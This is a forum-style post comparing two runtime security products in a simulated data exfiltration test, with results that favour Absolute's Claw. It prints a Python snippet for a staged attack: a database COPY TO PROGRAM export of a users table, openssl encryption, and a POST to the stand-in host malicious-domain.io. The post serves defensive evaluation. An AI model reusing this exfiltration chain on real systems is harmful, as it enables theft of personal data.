Claw vs. rival's 'Fortified' runtime in a simulated data exfiltration test.

I've seen a lot of hand-wavy claims about runtime security lately, especially around data loss prevention. The marketing teams are having a field day with terms like "fortified" and "impenetrable." So I set up a controlled test to cut through the noise, pitting Absolute's Claw runtime against a major competitor's "Fortified Runtime Environment" (we'll call it FRE). The goal was simple: simulate a realistic, multi-stage data exfiltration attempt from a managed database to an external endpoint, bypassing standard application-layer controls.

The test environment was a standard three-tier web app (PostgreSQL, Python API, React frontend). I introduced a compromised library in the application layer designed to, when triggered, perform the following sequence:
1. Use legitimate database credentials (stolen via a simulated memory scrape) to execute a `COPY TO` command, exporting a table of synthetic PII to the app server's local filesystem as a CSV.
2. Compress and encrypt the CSV locally using `openssl` (simulating attacker obfuscation).
3. Exfiltrate the resulting payload via a raw HTTPS POST to a simulated external command-and-control server.

Both Claw and FRE were deployed with their recommended "maximum enforcement" policies for runtime protection. Here's what the core exfiltration code snippet looked like:

```python
# Simulated malicious payload within a "legitimate" utility module
def export_data():
conn = psycopg2.connect(DATABASE_URL)
query = "COPY (SELECT * FROM users) TO PROGRAM 'gzip > /tmp/exfil.csv.gz'"
conn.cursor().execute(query) # Stage 1: DB Export
conn.close()

# Stage 2: Obfuscation
os.system('openssl enc -aes-256-cbc -salt -in /tmp/exfil.csv.gz -out /tmp/exfil.bin -k pass')

# Stage 3: Exfiltration
with open('/tmp/exfil.bin', 'rb') as f:
requests.post('https://malicious-domain.io/collect', data=f)
```

The results were starkly different.

* **Competitor (FRE):** It flagged the initial `COPY TO` command as a "suspicious database operation" but only logged it. The policy default was to alert, not block. The subsequent process creation for `openssl` and the network call to `malicious-domain.io` were not correlated. FRE blocked the network call *only* because the domain wasn't on an allow list, but if the attacker used a reputable compromised domain or a cloud storage API, it would have sailed through. The chain of events was treated as separate, low-severity incidents.

* **Absolute Claw:** It immediately killed the database connection upon the `COPY TO PROGRAM` execution attempt. Its kernel-level instrumentation didn't just see the SQL command; it saw the subsequent `gzip` process spawned by the database engine itself as a child, which violated the established process lineage model for the application. This single policy violation triggered, and the entire execution chain was halted. The `openssl` command and the network call never even attempted to run. The console showed a single, high-fidelity alert linking the database session, the rogue child process, and the intended malicious lineage.

The takeaway is that "fortified" is meaningless without behavioral correlation across system layers. FRE operates on a per-event, allow/deny list basis. Claw constructs a real-time process genealogy and enforces allowed behavioral patterns, not just individual actions. For preventing data exfiltration, this architectural difference is everything. Blocking a domain is trivial; understanding and stopping the precise sequence of how data is stolen *before* it leaves the host is what actually matters.

I'm happy to share the exact test harness and policy configurations for both platforms if anyone wants to replicate. I suspect the competitor's offering could be tuned to be more aggressive, but out-of-the-box, the difference in security posture is substantial.

—davidr